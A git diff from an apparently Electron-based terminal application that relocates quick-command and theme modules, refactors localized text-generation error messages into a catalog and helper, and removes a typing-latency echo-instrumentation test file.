diff --git a/src/renderer/src/lib/terminal-quick-command-host-prompt-limit.ts b/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit.ts
similarity index 76%
rename from src/renderer/src/lib/terminal-quick-command-host-prompt-limit.ts
rename to src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit.ts
index 93b3bbced01..4226df835ad 100644
--- a/src/renderer/src/lib/terminal-quick-command-host-prompt-limit.ts
+++ b/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit.ts
@@ -1,7 +1,7 @@
 import type { AppState } from '@/store/types'
-import { terminalQuickCommandAgentPromptMaxLength } from '../../../shared/terminal/quick-commands/terminal-quick-command-prompt-limit'
-import { parseExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host'
-import { lastVerifiedRuntimeStatus } from '../../../shared/remote-runtime/host-status/runtime-host-status'
+import { terminalQuickCommandAgentPromptMaxLength } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-prompt-limit'
+import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host'
+import { lastVerifiedRuntimeStatus } from '../../../../../shared/remote-runtime/host-status/runtime-host-status'
 
 /** An older host's agent-prompt character cap, read from its live status; `null` for none. */
 export function getTerminalQuickCommandHostPromptMaxLength(
diff --git a/src/renderer/src/lib/terminal-quick-command-project-scope.ts b/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-project-scope.ts
similarity index 84%
rename from src/renderer/src/lib/terminal-quick-command-project-scope.ts
rename to src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-project-scope.ts
index c515550f07c..1c13b565146 100644
--- a/src/renderer/src/lib/terminal-quick-command-project-scope.ts
+++ b/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-project-scope.ts
@@ -1,7 +1,7 @@
-import type { ExecutionHostId } from '../../../shared/execution-host'
-import { getTerminalQuickCommandScope } from '../../../shared/terminal/quick-commands/terminal-quick-commands'
-import type { ProjectHostSetup } from '../../../shared/project-types'
-import type { TerminalQuickCommand } from '../../../shared/terminal/quick-commands/terminal-quick-command-types'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
+import { getTerminalQuickCommandScope } from '../../../../../shared/terminal/quick-commands/terminal-quick-commands'
+import type { ProjectHostSetup } from '../../../../../shared/project-types'
+import type { TerminalQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types'
 
 type TerminalQuickCommandProjectContext = {
   commandHostId: ExecutionHostId
diff --git a/src/renderer/src/lib/terminal-quick-command-search.ts b/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-search.ts
similarity index 93%
rename from src/renderer/src/lib/terminal-quick-command-search.ts
rename to src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-search.ts
index d8320744ec2..477513b1b4a 100644
--- a/src/renderer/src/lib/terminal-quick-command-search.ts
+++ b/src/renderer/src/lib/terminal/quick-commands/terminal-quick-command-search.ts
@@ -1,9 +1,9 @@
 import {
   getTerminalQuickCommandBody,
   isTerminalAgentQuickCommand
-} from '../../../shared/terminal/quick-commands/terminal-quick-commands'
-import { isClipboardTextByteLengthOverLimit } from '../../../shared/clipboard-text'
-import type { TerminalQuickCommand } from '../../../shared/terminal/quick-commands/terminal-quick-command-types'
+} from '../../../../../shared/terminal/quick-commands/terminal-quick-commands'
+import { isClipboardTextByteLengthOverLimit } from '../../../../../shared/clipboard-text'
+import type { TerminalQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types'
 
 type RankedCommand = {
   command: TerminalQuickCommand
diff --git a/src/renderer/src/lib/terminal-plugin-palettes.ts b/src/renderer/src/lib/terminal/themes/terminal-plugin-palettes.ts
similarity index 86%
rename from src/renderer/src/lib/terminal-plugin-palettes.ts
rename to src/renderer/src/lib/terminal/themes/terminal-plugin-palettes.ts
index 7cbf739e9f5..216f4a79301 100644
--- a/src/renderer/src/lib/terminal-plugin-palettes.ts
+++ b/src/renderer/src/lib/terminal/themes/terminal-plugin-palettes.ts
@@ -1,6 +1,6 @@
-import type { GlobalSettings } from '../../../shared/global-settings-types'
-import type { TerminalPluginPalette } from '../../../shared/terminal-themes/terminal-color-overrides'
-import type { PluginTerminalThemeRegistration } from '../../../shared/plugins/artifacts/plugin-terminal-theme-artifact'
+import type { GlobalSettings } from '../../../../../shared/global-settings-types'
+import type { TerminalPluginPalette } from '../../../../../shared/terminal-themes/terminal-color-overrides'
+import type { PluginTerminalThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-terminal-theme-artifact'
 
 type PaletteSettings = Pick<
   GlobalSettings,
diff --git a/src/renderer/src/lib/text-generation/text-generation-error-copy.ts b/src/renderer/src/lib/text-generation/text-generation-error-copy.ts
new file mode 100644
index 00000000000..d09f5d22b5d
--- /dev/null
+++ b/src/renderer/src/lib/text-generation/text-generation-error-copy.ts
@@ -0,0 +1,55 @@
+import '@/i18n/i18n'
+import {
+  TEXT_GENERATION_FAILURE_COPY,
+  type TextGenerationFailureCode
+} from '../../../../shared/text-generation-failure-copy'
+import './agent-output-error-copy'
+import {
+  TEXT_GENERATION_ERROR_COPY,
+  type TextGenerationCopyValues
+} from './text-generation-error-message-catalog'
+
+function isTextGenerationFailureCode(code: unknown): code is TextGenerationFailureCode {
+  return typeof code === 'string' && Object.hasOwn(TEXT_GENERATION_ERROR_COPY, code)
+}
+
+type TextGenerationFailure = {
+  error: string
+  errorCode?: unknown
+  errorParams?: unknown
+  errorDetail?: unknown
+}
+
+export function textGenerationCopyText(
+  code: TextGenerationFailureCode,
+  values: TextGenerationCopyValues = {}
+): string {
+  return TEXT_GENERATION_ERROR_COPY[code](values)
+}
+
+export function textGenerationErrorText(failure: TextGenerationFailure): string {
+  if (!isTextGenerationFailureCode(failure.errorCode)) {
+    return failure.error
+  }
+  const params: Record<string, unknown> =
+    typeof failure.errorParams === 'object' && failure.errorParams !== null
+      ? { ...failure.errorParams }
+      : {}
+  const values: TextGenerationCopyValues = {}
+  for (const [, slot] of TEXT_GENERATION_FAILURE_COPY[failure.errorCode].matchAll(
+    /\{\{(\w+)\}\}/g
+  )) {
+    const value = slot === 'detail' ? failure.errorDetail : params[slot]
+    if (typeof value !== 'string' && typeof value !== 'number') {
+      return failure.error
+    }
+    values[slot] = value
+  }
+  return TEXT_GENERATION_ERROR_COPY[failure.errorCode](values)
+}
+
+export function localizeTextGenerationResult<
+  T extends { success: true } | ({ success: false } & TextGenerationFailure)
+>(result: T): T {
+  return result.success ? result : { ...result, error: textGenerationErrorText(result) }
+}
diff --git a/src/renderer/src/lib/text-generation-error-copy.ts b/src/renderer/src/lib/text-generation/text-generation-error-message-catalog.ts
similarity index 59%
rename from src/renderer/src/lib/text-generation-error-copy.ts
rename to src/renderer/src/lib/text-generation/text-generation-error-message-catalog.ts
index 228a1eb4960..fc64da8178d 100644
--- a/src/renderer/src/lib/text-generation-error-copy.ts
+++ b/src/renderer/src/lib/text-generation/text-generation-error-message-catalog.ts
@@ -1,302 +1,291 @@
 import { translate } from '@/i18n/i18n'
 import {
-  TEXT_GENERATION_FAILURE_COPY as EN,
+  TEXT_GENERATION_FAILURE_COPY,
   type TextGenerationFailureCode
-} from '../../../shared/text-generation-failure-copy'
-import { AGENT_OUTPUT_ERROR_COPY } from './text-generation/agent-output-error-copy'
+} from '../../../../shared/text-generation-failure-copy'
+import { AGENT_OUTPUT_ERROR_COPY } from './agent-output-error-copy'
 
-type CopyValues = Record<string, string | number>
+export type TextGenerationCopyValues = Record<string, string | number>
 
-const COPY: Record<TextGenerationFailureCode, (values: CopyValues) => string> = {
+export const TEXT_GENERATION_ERROR_COPY: Record<
+  TextGenerationFailureCode,
+  (values: TextGenerationCopyValues) => string
+> = {
   promptTooLargeForWindows: (values) =>
     translate(
       'sourceControl.textGeneration.errors.promptTooLargeForWindows',
-      EN.promptTooLargeForWindows,
+      TEXT_GENERATION_FAILURE_COPY.promptTooLargeForWindows,
       values
     ),
   promptTooLargeForArgument: (values) =>
     translate(
       'sourceControl.textGeneration.errors.promptTooLargeForArgument',
-      EN.promptTooLargeForArgument,
+      TEXT_GENERATION_FAILURE_COPY.promptTooLargeForArgument,
       values
     ),
   agentCouldNotStart: (values) =>
     translate(
       'sourceControl.textGeneration.errors.agentCouldNotStart',
-      EN.agentCouldNotStart,
+      TEXT_GENERATION_FAILURE_COPY.agentCouldNotStart,
       values
     ),
   agentFailedToStart: (values) =>
     translate(
       'sourceControl.textGeneration.errors.agentFailedToStart',
-      EN.agentFailedToStart,
+      TEXT_GENERATION_FAILURE_COPY.agentFailedToStart,
       values
     ),
   agentBinaryNotFound: (values) =>
     translate(
       'sourceControl.textGeneration.errors.agentBinaryNotFound',
-      EN.agentBinaryNotFound,
+      TEXT_GENERATION_FAILURE_COPY.agentBinaryNotFound,
       values
     ),
   timedOut: (values) =>
-    translate('sourceControl.textGeneration.errors.timedOut', EN.timedOut, values),
+    translate(
+      'sourceControl.textGeneration.errors.timedOut',
+      TEXT_GENERATION_FAILURE_COPY.timedOut,
+      values
+    ),
   outputTooLarge: (values) =>
-    translate('sourceControl.textGeneration.errors.outputTooLarge', EN.outputTooLarge, values),
+    translate(
+      'sourceControl.textGeneration.errors.outputTooLarge',
+      TEXT_GENERATION_FAILURE_COPY.outputTooLarge,
+      values
+    ),
   windowsBatchUnsafeArguments: (values) =>
     translate(
       'sourceControl.textGeneration.errors.windowsBatchUnsafeArguments',
-      EN.windowsBatchUnsafeArguments,
+      TEXT_GENERATION_FAILURE_COPY.windowsBatchUnsafeArguments,
       values
     ),
   cliTerminated: (values) =>
-    translate('sourceControl.textGeneration.errors.cliTerminated', EN.cliTerminated, values),
+    translate(
+      'sourceControl.textGeneration.errors.cliTerminated',
+      TEXT_GENERATION_FAILURE_COPY.cliTerminated,
+      values
+    ),
   cliTerminatedWithDetail: (values) =>
     translate(
       'sourceControl.textGeneration.errors.cliTerminatedWithDetail',
-      EN.cliTerminatedWithDetail,
+      TEXT_GENERATION_FAILURE_COPY.cliTerminatedWithDetail,
       values
     ),
   cliFailed: (values) =>
-    translate('sourceControl.textGeneration.errors.cliFailed', EN.cliFailed, values),
+    translate(
+      'sourceControl.textGeneration.errors.cliFailed',
+      TEXT_GENERATION_FAILURE_COPY.cliFailed,
+      values
+    ),
   cliFailedWithDetail: (values) =>
     translate(
       'sourceControl.textGeneration.errors.cliFailedWithDetail',
-      EN.cliFailedWithDetail,
+      TEXT_GENERATION_FAILURE_COPY.cliFailedWithDetail,
       values
     ),
   agentReportedError: (values) =>
     translate(
       'sourceControl.textGeneration.errors.agentReportedError',
-      EN.agentReportedError,
+      TEXT_GENERATION_FAILURE_COPY.agentReportedError,
       values
     ),
   emptyCommitMessage: (values) =>
     translate(
       'sourceControl.textGeneration.errors.emptyCommitMessage',
-      EN.emptyCommitMessage,
+      TEXT_GENERATION_FAILURE_COPY.emptyCommitMessage,
       values
     ),
   emptyCommitMessageWithDetail: (values) =>
     translate(
       'sourceControl.textGeneration.errors.emptyCommitMessageWithDetail',
-      EN.emptyCommitMessageWithDetail,
+      TEXT_GENERATION_FAILURE_COPY.emptyCommitMessageWithDetail,
       values
     ),
   emptyPullRequestDetails: (values) =>
     translate(
       'sourceControl.textGeneration.errors.emptyPullRequestDetails',
-      EN.emptyPullRequestDetails,
+      TEXT_GENERATION_FAILURE_COPY.emptyPullRequestDetails,
       values
     ),
   emptyPullRequestDetailsWithDetail: (values) =>
     translate(
       'sourceControl.textGeneration.errors.emptyPullRequestDetailsWithDetail',
-      EN.emptyPullRequestDetailsWithDetail,
+      TEXT_GENERATION_FAILURE_COPY.emptyPullRequestDetailsWithDetail,
       values
     ),
   emptyJiraSummary: (values) =>
-    translate('sourceControl.textGeneration.errors.emptyJiraSummary', EN.emptyJiraSummary, values),
+    translate(
+      'sourceControl.textGeneration.errors.emptyJiraSummary',
+      TEXT_GENERATION_FAILURE_COPY.emptyJiraSummary,
+      values
+    ),
   emptyJiraSummaryWithDetail: (values) =>
     translate(
       'sourceControl.textGeneration.errors.emptyJiraSummaryWithDetail',
-      EN.emptyJiraSummaryWithDetail,
+      TEXT_GENERATION_FAILURE_COPY.emptyJiraSummaryWithDetail,
       values
     ),
   commitMessageUnparseable: (values) =>
     translate(
       'sourceControl.textGeneration.errors.commitMessageUnparseable',
-      EN.commitMessageUnparseable,
+      TEXT_GENERATION_FAILURE_COPY.commitMessageUnparseable,
       values
     ),
   pullRequestDetailsUnparseable: (values) =>
     translate(
       'sourceControl.textGeneration.errors.pullRequestDetailsUnparseable',
-      EN.pullRequestDetailsUnparseable,
+      TEXT_GENERATION_FAILURE_COPY.pullRequestDetailsUnparseable,
       values
     ),
   jiraSummaryEmptyAfterSanitization: (values) =>
     translate(
       'sourceControl.textGeneration.errors.jiraSummaryEmptyAfterSanitization',
-      EN.jiraSummaryEmptyAfterSanitization,
+      TEXT_GENERATION_FAILURE_COPY.jiraSummaryEmptyAfterSanitization,
       values
     ),
   jiraDescriptionRequired: (values) =>
     translate(
       'sourceControl.textGeneration.errors.jiraDescriptionRequired',
-      EN.jiraDescriptionRequired,
+      TEXT_GENERATION_FAILURE_COPY.jiraDescriptionRequired,
       values
     ),
   jiraAccountDisconnected: (values) =>
     translate(
       'sourceControl.textGeneration.errors.jiraAccountDisconnected',
-      EN.jiraAccountDisconnected,
+      TEXT_GENERATION_FAILURE_COPY.jiraAccountDisconnected,
       values
     ),
   jiraSummaryBusyInOtherDraft: (values) =>
     translate(
       'sourceControl.textGeneration.errors.jiraSummaryBusyInOtherDraft',
-      EN.jiraSummaryBusyInOtherDraft,
+      TEXT_GENERATION_FAILURE_COPY.jiraSummaryBusyInOtherDraft,
       values
     ),
   stagedChangesReadFailed: (values) =>
     translate(
       'sourceControl.textGeneration.errors.stagedChangesReadFailed',
-      EN.stagedChangesReadFailed,
+      TEXT_GENERATION_FAILURE_COPY.stagedChangesReadFailed,
       values
     ),
   noStagedChanges: (values) =>
-    translate('sourceControl.textGeneration.errors.noStagedChanges', EN.noStagedChanges, values),
+    translate(
+      'sourceControl.textGeneration.errors.noStagedChanges',
+      TEXT_GENERATION_FAILURE_COPY.noStagedChanges,
+      values
+    ),
   noBranchChanges: (values) =>
-    translate('sourceControl.textGeneration.errors.noBranchChanges', EN.noBranchChanges, values),
+    translate(
+      'sourceControl.textGeneration.errors.noBranchChanges',
+      TEXT_GENERATION_FAILURE_COPY.noBranchChanges,
+      values
+    ),
   commandTemplateEmptyCommitMessage: (values) =>
     translate(
       'sourceControl.textGeneration.errors.commandTemplateEmptyCommitMessage',
-      EN.commandTemplateEmptyCommitMessage,
+      TEXT_GENERATION_FAILURE_COPY.commandTemplateEmptyCommitMessage,
       values
     ),
   commandTemplateEmptyPullRequest: (values) =>
     translate(
       'sourceControl.textGeneration.errors.commandTemplateEmptyPullRequest',
-      EN.commandTemplateEmptyPullRequest,
+      TEXT_GENERATION_FAILURE_COPY.commandTemplateEmptyPullRequest,
       values
     ),
   commandTemplateEmptyBranchName: (values) =>
     translate(
       'sourceControl.textGeneration.errors.commandTemplateEmptyBranchName',
-      EN.commandTemplateEmptyBranchName,
+      TEXT_GENERATION_FAILURE_COPY.commandTemplateEmptyBranchName,
       values
     ),
   commandTemplateEmptyChatName: (values) =>
     translate(
       'sourceControl.textGeneration.errors.commandTemplateEmptyChatName',
-      EN.commandTemplateEmptyChatName,
+      TEXT_GENERATION_FAILURE_COPY.commandTemplateEmptyChatName,
       values
     ),
   sourceControlAgentUnsupported: (values) =>
     translate(
       'sourceControl.textGeneration.errors.sourceControlAgentUnsupported',
-      EN.sourceControlAgentUnsupported,
+      TEXT_GENERATION_FAILURE_COPY.sourceControlAgentUnsupported,
       values
     ),
   chatNameAgentUnsupported: (values) =>
     translate(
       'sourceControl.textGeneration.errors.chatNameAgentUnsupported',
-      EN.chatNameAgentUnsupported,
+      TEXT_GENERATION_FAILURE_COPY.chatNameAgentUnsupported,
       values
     ),
   sourceControlCustomCommandEmpty: (values) =>
     translate(
       'sourceControl.textGeneration.errors.sourceControlCustomCommandEmpty',
-      EN.sourceControlCustomCommandEmpty,
+      TEXT_GENERATION_FAILURE_COPY.sourceControlCustomCommandEmpty,
       values
     ),
   chatNameCustomCommandEmpty: (values) =>
     translate(
       'sourceControl.textGeneration.errors.chatNameCustomCommandEmpty',
-      EN.chatNameCustomCommandEmpty,
+      TEXT_GENERATION_FAILURE_COPY.chatNameCustomCommandEmpty,
       values
     ),
   agentCannotGenerateCommitMessage: (values) =>
     translate(
       'sourceControl.textGeneration.errors.agentCannotGenerateCommitMessage',
-      EN.agentCannotGenerateCommitMessage,
+      TEXT_GENERATION_FAILURE_COPY.agentCannotGenerateCommitMessage,
       values
     ),
   agentCannotGeneratePullRequest: (values) =>
     translate(
       'sourceControl.textGeneration.errors.agentCannotGeneratePullRequest',
-      EN.agentCannotGeneratePullRequest,
+      TEXT_GENERATION_FAILURE_COPY.agentCannotGeneratePullRequest,
       values
     ),
   agentCannotGenerateBranchName: (values) =>
     translate(
       'sourceControl.textGeneration.errors.agentCannotGenerateBranchName',
-      EN.agentCannotGenerateBranchName,
+      TEXT_GENERATION_FAILURE_COPY.agentCannotGenerateBranchName,
       values
     ),
   agentCannotGenerateChatName: (values) =>
     translate(
       'sourceControl.textGeneration.errors.agentCannotGenerateChatName',
-      EN.agentCannotGenerateChatName,
+      TEXT_GENERATION_FAILURE_COPY.agentCannotGenerateChatName,
       values
     ),
   noModelForAgent: (values) =>
-    translate('sourceControl.textGeneration.errors.noModelForAgent', EN.noModelForAgent, values),
+    translate(
+      'sourceControl.textGeneration.errors.noModelForAgent',
+      TEXT_GENERATION_FAILURE_COPY.noModelForAgent,
+      values
+    ),
   planCustomCommandEmpty: (values) =>
     translate(
       'sourceControl.textGeneration.errors.planCustomCommandEmpty',
-      EN.planCustomCommandEmpty,
+      TEXT_GENERATION_FAILURE_COPY.planCustomCommandEmpty,
       values
     ),
   planAgentUnsupported: (values) =>
     translate(
       'sourceControl.textGeneration.errors.planAgentUnsupported',
-      EN.planAgentUnsupported,
+      TEXT_GENERATION_FAILURE_COPY.planAgentUnsupported,
       values
     ),
   planModelUnavailable: (values) =>
     translate(
       'sourceControl.textGeneration.errors.planModelUnavailable',
-      EN.planModelUnavailable,
+      TEXT_GENERATION_FAILURE_COPY.planModelUnavailable,
       values
     ),
   planModelWithoutThinking: (values) =>
     translate(
       'sourceControl.textGeneration.errors.planModelWithoutThinking',
-      EN.planModelWithoutThinking,
+      TEXT_GENERATION_FAILURE_COPY.planModelWithoutThinking,
       values
     ),
   planThinkingLevelInvalid: (values) =>
     translate(
       'sourceControl.textGeneration.errors.planThinkingLevelInvalid',
-      EN.planThinkingLevelInvalid,
+      TEXT_GENERATION_FAILURE_COPY.planThinkingLevelInvalid,
       values
     ),
   ...AGENT_OUTPUT_ERROR_COPY
 }
-
-function isTextGenerationFailureCode(code: unknown): code is TextGenerationFailureCode {
-  return typeof code === 'string' && Object.hasOwn(COPY, code)
-}
-
-type TextGenerationFailure = {
-  error: string
-  errorCode?: unknown
-  errorParams?: unknown
-  errorDetail?: unknown
-}
-
-/** Localized copy for a failure the renderer detects itself. */
-export function textGenerationCopyText(
-  code: TextGenerationFailureCode,
-  values: CopyValues = {}
-): string {
-  return COPY[code](values)
-}
-
-/** Unknown codes (newer host), uncoded results (older host), or missing values show the host's English. */
-export function textGenerationErrorText(failure: TextGenerationFailure): string {
-  if (!isTextGenerationFailureCode(failure.errorCode)) {
-    return failure.error
-  }
-  const params: Record<string, unknown> =
-    typeof failure.errorParams === 'object' && failure.errorParams !== null
-      ? { ...failure.errorParams }
-      : {}
-  const values: CopyValues = {}
-  for (const [, slot] of EN[failure.errorCode].matchAll(/\{\{(\w+)\}\}/g)) {
-    const value = slot === 'detail' ? failure.errorDetail : params[slot]
-    if (typeof value !== 'string' && typeof value !== 'number') {
-      return failure.error
-    }
-    values[slot] = value
-  }
-  return COPY[failure.errorCode](values)
-}
-
-/** Replaces a failed generation result's English `error` with the localized sentence. */
-export function localizeTextGenerationResult<
-  T extends { success: true } | ({ success: false } & TextGenerationFailure)
->(result: T): T {
-  return result.success ? result : { ...result, error: textGenerationErrorText(result) }
-}
diff --git a/src/renderer/src/lib/short-time-ago.ts b/src/renderer/src/lib/time-format/short-time-ago.ts
similarity index 100%
rename from src/renderer/src/lib/short-time-ago.ts
rename to src/renderer/src/lib/time-format/short-time-ago.ts
diff --git a/src/renderer/src/lib/typing-latency/echo-instrumentation.test.ts b/src/renderer/src/lib/typing-latency/echo-instrumentation.test.ts
deleted file mode 100644
index 3fa2e12a1c5..00000000000
--- a/src/renderer/src/lib/typing-latency/echo-instrumentation.test.ts
+++ /dev/null
@@ -1,534 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { Terminal } from '@xterm/xterm'
-import {
-  detachPaneEcho,
-  discardUndispatchedKeystroke,
-  drainTimedOutEchoCandidates,
-  instrumentPaneEcho,
-  recordKeystroke,
-  type EchoObservation,
-  type InstrumentedPane
-} from './echo-instrumentation'
-
-function emptyEntry(): InstrumentedPane {
-  return {
-    pane: {},
-    undispatched: [],
-    nextDispatch: null,
-    deferredNextDispatch: null,
-    ignoredDispatches: [],
-    ignoredDispatchOverflowedAt: null,
-    awaitingEcho: [],
-    attributionGap: false,
-    parsingBatch: null,
-    parsedBatches: [],
-    pendingCount: 0,
-    disposables: [],
-    restoreWrite: null
-  }
-}
-
-type FakeTerminal = {
-  write: (data: string | Uint8Array, callback?: () => void) => void
-  onData: (listener: (data: string) => void) => { dispose: () => void }
-  onWriteParsed: (listener: () => void) => { dispose: () => void }
-  onRender: (listener: () => void) => { dispose: () => void }
-}
-
-type CoreServiceAccess = {
-  _core: {
-    coreService: {
-      triggerDataEvent: (data: string, wasUserInput?: boolean) => void
-    }
-  }
-}
-
-function fakeTerminal(): {
-  terminal: FakeTerminal
-  emitData: (data?: string) => void
-  emitParsed: () => void
-  emitRender: () => void
-  writtenPayloads: (string | Uint8Array)[]
-  disposeCount: () => number
-} {
-  const dataListeners = new Set<(data: string) => void>()
-  const parsedListeners = new Set<() => void>()
-  const renderListeners = new Set<() => void>()
-  const writtenPayloads: (string | Uint8Array)[] = []
-  let disposed = 0
-  const listen = <T>(listeners: Set<T>, listener: T): { dispose: () => void } => {
-    listeners.add(listener)
-    return {
-      dispose: () => {
-        if (listeners.delete(listener)) {
-          disposed += 1
-        }
-      }
-    }
-  }
-  return {
-    terminal: {
-      write: (data) => writtenPayloads.push(data),
-      onData: (listener) => listen(dataListeners, listener),
-      onWriteParsed: (listener) => listen(parsedListeners, listener),
-      onRender: (listener) => listen(renderListeners, listener)
-    },
-    emitData: (data = 'x') => dataListeners.forEach((listener) => listener(data)),
-    emitParsed: () => parsedListeners.forEach((listener) => listener()),
-    emitRender: () => renderListeners.forEach((listener) => listener()),
-    writtenPayloads,
-    disposeCount: () => disposed
-  }
-}
-
-function recordAndDispatch(
-  entry: InstrumentedPane,
-  fake: ReturnType<typeof fakeTerminal>,
-  source: 'direct' | 'ime' = 'direct',
-  recordedAt: number = performance.now()
-): void {
-  recordKeystroke(entry, recordedAt, source)
-  fake.emitData()
-}
-
-afterEach(() => {
-  vi.restoreAllMocks()
-})
-
-describe('recordKeystroke', () => {
-  it('drains a final timed-out input without waiting for another keystroke', () => {
-    const entry = emptyEntry()
-    const recorded = recordKeystroke(entry, 0, 'direct')
-
-    expect(drainTimedOutEchoCandidates(entry, 2_001)).toBe(1)
-    expect(drainTimedOutEchoCandidates(entry, 2_002)).toBe(0)
-    expect(recorded.candidate.status).toBe('unmatched-undispatched')
-    expect(entry.pendingCount).toBe(0)
-  })
-
-  it('reverses timeout accounting when an undispatched IME commit settles prevented', () => {
-    const entry = emptyEntry()
-    const recorded = recordKeystroke(entry, 0, 'ime')
-
-    expect(drainTimedOutEchoCandidates(entry, 2_001)).toBe(1)
-    expect(discardUndispatchedKeystroke(entry, recorded.candidate)).toBe('counted-unmatched')
-    expect(discardUndispatchedKeystroke(entry, recorded.candidate)).toBeNull()
-    expect(entry).toMatchObject({ pendingCount: 0, ignoredDispatches: [] })
-  })
-
-  it('keeps timeout accounting when the IME commit reached terminal input', () => {
-    const fake = fakeTerminal()
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, () => undefined)
-    const recorded = recordKeystroke(entry, 0, 'ime')
-    fake.emitData('한')
-
-    expect(drainTimedOutEchoCandidates(entry, 2_001)).toBe(1)
-    expect(recorded.candidate.status).toBe('unmatched-dispatched')
-    expect(discardUndispatchedKeystroke(entry, recorded.candidate)).toBeNull()
-    expect(entry.pendingCount).toBe(0)
-  })
-
-  it('drops a prevented commit only when it never dispatched', () => {
-    const fake = fakeTerminal()
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, () => undefined)
-    const prevented = recordKeystroke(entry, 10, 'ime')
-    expect(discardUndispatchedKeystroke(entry, prevented.candidate)).toBe('pending')
-
-    const dispatched = recordKeystroke(entry, 20, 'ime')
-    fake.emitData('글')
-    expect(discardUndispatchedKeystroke(entry, dispatched.candidate)).toBeNull()
-    expect(entry.awaitingEcho).toHaveLength(1)
-  })
-
-  it('dispatches a nested IME finalizer before its outer direct key', () => {
-    const fake = fakeTerminal()
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, () => undefined)
-    recordKeystroke(entry, 10, 'direct')
-    recordKeystroke(entry, 11, 'ime')
-
-    fake.emitData('한')
-    fake.emitData('\r')
-
-    expect(entry.awaitingEcho.map((pending) => pending.source)).toEqual(['ime', 'direct'])
-  })
-
-  it('uses a cap-rejection sentinel instead of consuming a retained input', () => {
-    const fake = fakeTerminal()
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, () => undefined)
-    for (let index = 0; index < 64; index += 1) {
-      recordKeystroke(entry, index, 'direct')
-    }
-
-    expect(recordKeystroke(entry, 64, 'direct').unmatched).toBe(1)
-    fake.emitData('rejected')
-
-    expect(entry.undispatched).toHaveLength(64)
-    expect(entry.awaitingEcho).toEqual([])
-    expect(entry.pendingCount).toBe(64)
-    expect(entry.attributionGap).toBe(true)
-  })
-
-  it('fences overflow dispatches without consuming retained inputs', () => {
-    const fake = fakeTerminal()
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, () => undefined)
-    for (let index = 0; index < 64; index += 1) {
-      recordKeystroke(entry, index, 'direct')
-    }
-    for (let index = 64; index < 129; index += 1) {
-      recordKeystroke(entry, index, 'direct')
-    }
-
-    expect(entry.ignoredDispatches).toHaveLength(64)
-    expect(entry.ignoredDispatchOverflowedAt).toBe(128)
-    for (let index = 0; index < 65; index += 1) {
-      fake.emitData('rejected')
-    }
-
-    expect(entry.undispatched).toHaveLength(64)
-    expect(entry).toMatchObject({
-      awaitingEcho: [],
-      pendingCount: 64,
-      ignoredDispatches: [],
-      ignoredDispatchOverflowedAt: 128
-    })
-    expect(drainTimedOutEchoCandidates(entry, 2_129)).toBe(64)
-    expect(entry).toMatchObject({
-      undispatched: [],
-      pendingCount: 0,
-      ignoredDispatchOverflowedAt: null
-    })
-    const recovered = recordKeystroke(entry, 2_130, 'direct')
-    fake.emitData('recovered')
-    expect(entry.awaitingEcho).toEqual([recovered.candidate])
-  })
-
-  it('settles a prevented cap-rejected commit without touching retained inputs', () => {
-    const entry = emptyEntry()
-    for (let index = 0; index < 64; index += 1) {
-      recordKeystroke(entry, index, 'direct')
-    }
-
-    const rejected = recordKeystroke(entry, 64, 'ime')
-    expect(rejected.unmatched).toBe(1)
-    expect(discardUndispatchedKeystroke(entry, rejected.candidate)).toBe('counted-unmatched')
-    expect(entry.undispatched).toHaveLength(64)
-    expect(entry.ignoredDispatches).toEqual([])
-    expect(entry.attributionGap).toBe(false)
-  })
-
-  it('settles overlapping cap-rejected commits by identity', () => {
-    const entry = emptyEntry()
-    for (let index = 0; index < 64; index += 1) {
-      recordKeystroke(entry, index, 'direct')
-    }
-
-    const first = recordKeystroke(entry, 64, 'ime')
-    const second = recordKeystroke(entry, 65, 'ime')
-    expect(first.unmatched).toBe(1)
-    expect(second.unmatched).toBe(1)
-    expect(discardUndispatchedKeystroke(entry, first.candidate)).toBe('counted-unmatched')
-    expect(discardUndispatchedKeystroke(entry, second.candidate)).toBe('counted-unmatched')
-    expect(entry.undispatched).toHaveLength(64)
-    expect(entry.ignoredDispatches).toEqual([])
-    expect(entry.attributionGap).toBe(false)
-  })
-
-  it('settles same-timestamp cap rejections independently', () => {
-    const entry = emptyEntry()
-    for (let index = 0; index < 64; index += 1) {
-      recordKeystroke(entry, index, 'direct')
-    }
-
-    const first = recordKeystroke(entry, 64, 'ime')
-    const second = recordKeystroke(entry, 64, 'ime')
-
-    expect(discardUndispatchedKeystroke(entry, first.candidate)).toBe('counted-unmatched')
-    expect(discardUndispatchedKeystroke(entry, second.candidate)).toBe('counted-unmatched')
-    expect(entry.ignoredDispatches).toEqual([])
-  })
-})
-
-describe('instrumentPaneEcho', () => {
-  it('does not attribute parser replies as user dispatches', () => {
-    const terminal = new Terminal({ allowProposedApi: true })
-    const entry = instrumentPaneEcho({ terminal }, () => undefined)
-    const coreService = (terminal as unknown as CoreServiceAccess)._core.coreService
-
-    recordKeystroke(entry, 10, 'direct')
-    coreService.triggerDataEvent('\x1b[?1;2c', false)
-    expect(entry.undispatched).toHaveLength(1)
-    expect(entry.awaitingEcho).toEqual([])
-
-    coreService.triggerDataEvent('a', true)
-    expect(entry.undispatched).toEqual([])
-    expect(entry.awaitingEcho).toHaveLength(1)
-
-    detachPaneEcho(entry)
-    terminal.dispose()
-  })
-
-  it('does not credit output that arrived before the input dispatched', () => {
-    const fake = fakeTerminal()
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
